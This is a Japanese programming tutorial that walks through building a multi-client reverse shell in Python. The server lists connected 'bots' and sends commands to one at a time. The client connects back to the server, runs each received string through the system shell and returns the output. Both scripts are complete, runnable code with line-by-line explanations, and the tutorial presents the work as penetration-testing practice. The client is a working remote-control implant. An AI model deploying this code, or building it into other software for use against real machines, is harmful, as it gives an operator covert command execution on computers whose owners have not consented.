はじめに
このプロジェクトでは、Python を使用してリバースシェル(Reverse Shell)を作成する方法を学びます。これにより、「ボット」と呼ばれる複数の侵害されたマシンを制御できるようになります。従来型のシェルとは異なり、リバースシェルはボット側からコントローラーに対して接続を開始するため、ファイアウォールや NAT(ネットワークアドレス変換)の背後にあるリモートホストの管理が可能になります。この手法は、サイバーセキュリティの実務において、ペネトレーションテスト(侵入テスト)や管理環境の安全な運用に広く利用されています。
実装に入る前に、リバースシェル・アプリケーションの基盤となる概念、すなわちクライアント・サーバー(C/S)アーキテクチャと、伝送制御プロトコル(TCP)について理解しておくことが重要です。
C/S アーキテクチャでは、サービスを要求するクライアントと、サービスを提供するサーバーが登場します。今回のケースでは、ボットがクライアントとして動作してサーバーに接続を開始し、私たちがそれらのボット上でリモートからコマンドを実行できるようにします。
サーバーとクライアント間の信頼性の高いコネクション型通信を実現するために、TCP を使用します。TCP はデータが正確かつ順番通りに配信されることを保証します。これは、エラーなくコマンドを実行し、そのレスポンスを受け取るために不可欠です。
👀 プレビュー

🎯 タスク
このプロジェクトでは、以下の内容を学習します:
- ネットワーク通信の基礎としてのクライアント・サーバー(C/S)アーキテクチャと伝送制御プロトコル(TCP)の理解。
- 複数のクライアント(ボット)からの着信接続を待機するサーバーのセットアップ。
- サーバーに接続し、受信したコマンドを実行するクライアントスクリプトの作成。
- 接続されたクライアントと対話するための、サーバー側でのコマンド実行および結果取得機能の実装。
- 複数のクライアント接続を同時に管理し、それらを切り替えてコマンドを発行する方法。
🏆 到達目標
このプロジェクトを完了すると、以下のことができるようになります:
- 信頼性の高いネットワーク通信のためのクライアント・サーバーモデルと TCP の基礎を習得する。
- Python でマルチクライアント対応のリバースシェルサーバーを実装する。
- リモートサーバーに接続し、サーバーから送信されたコマンドを実行できるクライアントスクリプトを作成する。
- 管理された環境下で、複数の接続を処理し、複数のクライアントとの通信を管理する。
- ネットワークプログラミングの実践的な経験を積み、サイバーセキュリティやリモートシステム管理におけるその応用方法を理解する。
Server クラスの初期化
server.py という名前のファイルを作成し、Server クラスの基本構造から記述を始めます。
import socket
import threading
class Server:
def __init__(self, host='0.0.0.0', port=7676):
self.host = host
self.port = port
self.clients = []
self.current_client = None
self.exit_flag = False
self.lock = threading.Lock()
Server クラスは、リバースシェルの文脈で「ボット」と呼ばれる複数のクライアント接続を処理するように設計されています。初期化メソッド(__init__)で定義されているコンポーネントと機能について解説します。
- インポート文:
import socket: ネットワーク通信に必要な機能を提供する Python 標準のsocketモジュールをインポートします。ソケットは双方向通信チャネルの終端であり、クライアントとの接続や通信に使用されます。import threading:threadingモジュールをインポートし、プロセス内で複数のスレッドを作成できるようにします。これにより、サーバーのメインの実行フローを停止させることなく、複数のクライアント接続を同時に処理できます。
- クラス定義:
class Server:: リバースシェルのサーバー側操作に必要な機能をカプセル化したServerクラスを定義します。
- 初期化メソッド (
__init__):def __init__(self, host='0.0.0.0', port=7676)::Serverクラスの新しいインスタンスを初期化します。2 つのデフォルト引数を持ちます。host='0.0.0.0': デフォルトのホストアドレス '0.0.0.0' は、サーバーがすべてのネットワークインターフェースで待機することを指定します。これにより、マシンが持つ任意の IP アドレスからサーバーにアクセスできるようになります。port=7676: サーバーが接続を待機するデフォルトのポート番号です。ポート番号は、同じマシン上で動作する異なるサービスを識別するために使用されます。7676 という番号に特別な意味はなく、ユーザーの好みや要件に応じて変更可能です。
- インスタンス変数:
self.host: サーバーが接続を待機するホストアドレスを保持します。self.port: サーバーが待機するポート番号を保持します。self.clients = []: 接続されたクライアントを追跡するための空のリストを初期化します。接続された各クライアントはこのリストに追加され、サーバーが複数のクライアントを管理・通信できるようにします。self.current_client = None: コマンドの送信やデータの受信を行うために、現在選択されているクライアント(存在する場合)を追跡します。self.exit_flag = False: サーバーのメインループを制御するためのフラグです。このフラグをTrueに設定すると、サーバーを安全にシャットダウンする合図になります。self.lock = threading.Lock(): 同期プリミティブであるスレッドロックオブジェクトを作成します。ロックは、一度に 1 つのスレッドだけが共有リソースにアクセスまたは変更できるようにするために使用され、レースコンディション(競合状態)を防ぎ、データの整合性を確保します。
TCP サーバーの起動
サーバーを起動し、接続を待機するための run メソッドを実装します。
## server.py の続き
def run(self):
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as server_socket:
server_socket.bind((self.host, self.port))
server_socket.listen(10)
print(f"Server listening on port {self.port}...")
connection_thread = threading.Thread(target=self.wait_for_connections, args=(server_socket,))
connection_thread.start()
while not self.exit_flag:
if self.clients:
self.select_client()
self.handle_client()
run メソッドは、TCP サーバーを起動し、クライアント(リバースシェルの文脈では「ボット」)からの着信接続の待機を開始する Server クラスの中核部分です。このメソッドで行われている処理の詳細は以下の通りです。
- ソケットの作成:
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as server_socket::with文を使用して新しいソケットを作成します。これにより、不要になった際にソケットが自動的に閉じられることが保証されます。socket.AF_INETは IPv4 アドレッシングを使用することを指定し、socket.SOCK_STREAMは信頼性の高いコネクション型通信を提供する TCP ソケットであることを示します。
- ソケットのバインド:
server_socket.bind((self.host, self.port)):bindメソッドは、ソケットを特定のネットワークインターフェースとポート番号に関連付けます。ここでは、Serverインスタンスのhostとport属性にバインドし、そのアドレスとポートで接続を待機する準備をします。
- 接続の待機:
server_socket.listen(10): ソケットに着信接続の待機を開始するよう指示します。引数の10は、サーバーが新しい接続を拒否し始める前にキューに入れることができる最大接続数(バックログ)を指定します。これは同時接続の総数を制限するものではなく、受け入れ(accept)を待機できる数のみを制限します。
- サーバー起動メッセージ:
print(f"Server listening on port {self.port}..."): サーバーが稼働し、指定されたポートで接続を待機していることをコンソールに表示します。
- 着信接続の処理:
connection_thread = threading.Thread(target=self.wait_for_connections, args=(server_socket,)): 新しいThreadオブジェクトを初期化し、ターゲットをself.wait_for_connectionsメソッドに設定します。このメソッド(後述)は、ループ内で着信接続を継続的に受け入れ、それらをself.clientsリストに追加するように設計されています。connection_thread.start(): スレッドを開始し、別の実行スレッドでself.wait_for_connectionsメソッドを呼び出します。これにより、サーバーは接続を待っている間もブロックされることなく、runメソッドの残りの部分を実行し続けることができます。
- サーバーのメインループ:
while not self.exit_flag::self.exit_flagがFalseである限り、このループは実行され続けます。このループ内で、サーバーは接続されたクライアントの管理やサーバーコマンドの処理などのタスクを実行できます。if self.clients::self.clientsリストに接続済みのクライアントが存在するかどうかを確認します。self.select_client(): サーバーのオペレーターが対話するクライアントを 1 つ選択できるようにするメソッド(後述)です。self.handle_client(): 選択されたクライアントとの対話を処理するメソッド(後述)です。オペレーターからコマンドを読み取り、それをクライアントに送信し、クライアントのレスポンスを表示します。
この構造により、スレッドを使用して接続の受け入れとクライアント管理を並行して行うことで、サーバーは複数のクライアント接続を非ブロック(ノンブロッキング)方式で待機・管理できるようになります。
着信接続の受け入れ
別スレッドで着信クライアント接続を管理するための wait_for_connections メソッドを追加します。
## server.py の続き
def wait_for_connections(self, server_socket):
while not self.exit_flag:
client_socket, client_address = server_socket.accept()
print(f"New connection from {client_address[0]}")
with self.lock:
self.clients.append((client_socket, client_address))
wait_for_connections メソッドは、サーバーへの着信クライアント接続を継続的に監視し、受け入れるように設計されています。このメソッドは別スレッドで実行されるため、サーバーは新しい接続を待つ accept コールによってブロックされることなく、他のタスク(接続済みクライアントとの対話など)を実行できます。詳細な内訳は以下の通りです。
- 継続的な待機ループ:
while not self.exit_flag::self.exit_flagがFalseである限り、このループは実行され続けます。このフラグの目的は、この待機ループを含め、サーバーを制御された方法で停止させる手段を提供することです。self.exit_flagがTrueに設定されるとループが終了し、サーバーは新しい接続の受け入れを停止します。
- 接続の受け入れ:
client_socket, client_address = server_socket.accept():acceptメソッドは着信接続を待ちます。クライアントが接続すると、その接続を表す新しいソケットオブジェクト(client_socket)と、クライアントの IP アドレスとポート番号を含むタプル(client_address)を返します。この行は、新しい接続を受信するまでスレッドの実行をブロックします。
- 接続通知:
print(f"New connection from {client_address[0]}"): 新しい接続が受け入れられると、新しく接続されたクライアントの IP アドレスを示すメッセージがコンソールに表示されます。これはログ記録や監視に役立ちます。
- スレッドセーフなクライアント管理:
with self.lock:: スレッドロック(self.lock)を使用します。ロックはブロックの開始時に取得され、終了時に自動的に解放されます。ロックの目的は、共有リソース(この場合はself.clientsリスト)へのスレッドセーフなアクセスを保証することです。これは、マルチスレッド環境でデータの破損を防ぎ、一貫性を確保するために不可欠です。self.clients.append((client_socket, client_address)): 保護されたブロック内で、メソッドは新しいクライアントのソケットとアドレスをタプルとしてself.clientsリストに追加します。このリストはすべての接続済みクライアントを追跡し、後でサーバーが個別に操作できるようにします。
このメソッドにより、サーバーは他のタスクと並行して着信接続を処理でき、さらに並行環境でのパフォーマンスとデータの整合性を維持しながら、接続済みクライアントのリストを安全に管理できます。
クライアント対話機能の実装
接続されたクライアントを選択し、対話するための関数を実装します。
## server.py の続き
def select_client(self):
print("Available clients:")
for index, (_, addr) in enumerate(self.clients):
print(f"[{index}]-> {addr[0]}")
index = int(input("Select a client by index: "))
self.current_client = self.clients[index]
def handle_client(self):
client_socket, client_address = self.current_client
while True:
command = input(f"{client_address[0]}:~## ")
if command == '!ch':
break
if command == '!q':
self.exit_flag = True
print("Exiting server...")
break
client_socket.send(command.encode('utf-8'))
response = client_socket.recv(1024)
print(response.decode('utf-8'))
select_client と handle_client 関数は、リバースシェルサーバー環境において接続されたクライアントと対話するための重要なコンポーネントです。各関数の仕組みは以下の通りです。
select_client 関数
この関数は、現在接続されているすべてのクライアントをリスト表示し、サーバーオペレーターが対話するクライアントを 1 つ選択できるようにします。
print("Available clients:"): 利用可能なクライアントのリストが表示されることを示すメッセージを出力します。for index, (_, addr) in enumerate(self.clients):: クライアントのソケットとアドレスのタプルを含むself.clientsリストを反復処理します。_はこの文脈では不要なクライアントソケットのプレースホルダーであり、addrはクライアントのアドレスです。enumerate関数は各項目にインデックスを付与します。print(f"[{index}]-> {addr[0]}"): 各クライアントについて、インデックスとクライアントの IP アドレスを表示します。これにより、オペレーターは何台の、どのクライアントが接続されているかを簡単に確認できます。index = int(input("Select a client by index: ")): サーバーオペレーターに対話したいクライアントのインデックスを入力するよう促します。この入力は整数に変換され、indexに格納されます。self.current_client = self.clients[index]:self.current_clientを、選択されたインデックスに対応するクライアントのタプル(ソケットとアドレス)に設定します。このクライアントが以降のコマンドの対象となります。
handle_client 関数
この関数は、選択されたクライアントへのコマンド送信とレスポンスの受信を容易にします。
client_socket, client_address = self.current_client:self.current_clientタプルをclient_socketとclient_addressに展開します。while True:: 無限ループに入り、サーバーオペレーターが特別なコマンドを入力するまで、クライアントに継続的にコマンドを送信できるようにします。command = input(f"{client_address[0]}:~## "): サーバーオペレーターにコマンドの入力を促します。プロンプトには、分かりやすくするために現在のクライアントの IP アドレスが含まれています。if command == '!ch':: 特別なコマンド!chが入力されたかどうかを確認します。これは現在のクライアントを変更する合図です。入力された場合、ループを抜けてサーバーオペレーターが新しいクライアントを選択できるようにします。if command == '!q':: サーバーを終了するコマンド(!q)が入力されたかどうかを確認します。入力された場合、self.exit_flagをTrueに設定してサーバーループを終了させ、クライアント処理ループからも抜けます。client_socket.send(command.encode('utf-8')): 入力されたコマンドをクライアントに送信します。ネットワーク通信ではデータをバイト形式にする必要があるため、コマンドは UTF-8 エンコーディングを使用してバイトに変換されます。response = client_socket.recv(1024): クライアントからのレスポンスを待機し、受信します。recv(1024)コールは、最大 1024 バイトを読み取ることを指定します。より大きなレスポンスの場合は、この値を調整するか、ループ内で処理する必要があります。print(response.decode('utf-8')): 受信したバイト形式のレスポンスを UTF-8 を使用してデコードし、表示します。これにより、サーバーオペレーターはクライアントマシンで実行されたコマンドの結果を確認できます。
これらの関数を組み合わせることで、サーバーオペレーターは複数の接続されたクライアントを管理し、選択したクライアントにコマンドを発行してその結果を表示できるようになります。これはリバースシェルサーバーの基本的な機能です。
サーバーの実行
サーバーをインスタンス化して実行するためのエントリポイントを追加します。
## server.py の続き
if __name__ == "__main__":
server = Server()
server.run()
スクリプトのこの部分は、スクリプトが実行されたときにサーバーを起動し、クライアントからの接続を受け入れて管理できるようにします。
クライアントの作成
次に、クライアント(ボット)側を作成しましょう。クライアントはサーバーに接続し、受信したコマンドを実行します。
client.py に以下の内容を追加します。
import socket
import subprocess
import sys
import time
def connect_to_server(host, port):
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
sock.connect((host, port))
while True:
command = sock.recv(1024).decode('utf-8')
result = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
output = result.stdout.decode(sys.getfilesystemencoding())
sock.send(output.encode('utf-8'))
time.sleep(1)
if __name__ == "__main__":
HOST, PORT = "127.0.0.1", 7676
connect_to_server(HOST, PORT)
client.py スクリプトは、クライアント(リバースシェルの文脈では「ボット」)がどのようにサーバーに接続し、着信コマンドを処理するかを概説しています。ステップごとの説明は以下の通りです。
def connect_to_server(host, port):: サーバーに接続するためにホストとポート番号を受け取る関数を定義します。with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:: IPv4 アドレッシング(AF_INET)と TCP(SOCK_STREAM)を使用してソケットオブジェクトを作成し、withブロックを抜けた後に自動的に閉じられるようにします。sock.connect((host, port)): 指定されたホストとポートでサーバーへの接続を開始します。while True:: サーバーからのコマンドを継続的に待機するために無限ループに入ります。command = sock.recv(1024).decode('utf-8'): サーバーからコマンドを受信するまで待機し、最大 1024 バイトを読み取ります。受信したバイトデータは UTF-8 を使用してデコードされ、文字列に戻されます。result = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE): システムシェルを使用して受信したコマンドを実行します。stdout=subprocess.PIPEとstderr=subprocess.PIPEは、それぞれコマンドの標準出力と標準エラーをキャプチャします。output = result.stdout.decode(sys.getfilesystemencoding()): コマンド実行の出力を、ファイルシステムのエンコーディングを使用してバイトから文字列にデコードします。これにより、システム固有の文字が正しく解釈されます。sock.send(output.encode('utf-8')): コマンドの実行結果をサーバーに送り返します。文字列をネットワーク送信に適したバイト形式に戻すために UTF-8 でエンコードします。time.sleep(1): 次のコマンドを待機する前に実行を 1 秒間停止します。これは通常、クライアントが急速かつ継続的なリクエストでネットワークやサーバーに負荷をかけるのを防ぐために使用されます。
このクライアントスクリプトは、実行されているマシンを、指定されたサーバーに接続し、コマンドを待ち、実行して結果を返す「ボット」へと効果的に変貌させます。このセットアップは、研究者がセキュリティ対策をより深く理解し改善するために攻撃と防御をシミュレートする、ペネトレーションテストラボなどのサイバーセキュリティ実習における管理された環境で典型的なものです。
セットアップのテスト
最後に、リバースシェルのセットアップが期待通りに動作するかテストしてみましょう。
サーバーの実行
まず、ターミナルウィンドウで server.py スクリプトを実行します。
python server.py
クライアントの実行
別のターミナルウィンドウを開きます。

client.py スクリプトを実行します。
python client.py
コマンドの実行
サーバー側のターミナルに戻ります。

接続されたクライアントを選択し、コマンドを実行できるはずです。例えば、ディレクトリの内容を表示してみましょう。
ls /
クライアントマシンで実行された ls / コマンドの出力が、サーバー側のターミナルに表示されるはずです。

まとめ
このプロジェクトでは、クライアント・サーバーアーキテクチャと通信用の TCP を活用して、Python を使用した基本的なリバースシェルを実装する方法を学びました。クライアント(ボット)からの接続を待機し、それらにコマンドを送信するサーバーを構築しました。この技術はネットワークプログラミングとサイバーセキュリティにおける基礎的なスキルであり、リモートシステムを管理する上での Python のパワーと柔軟性を示しています。



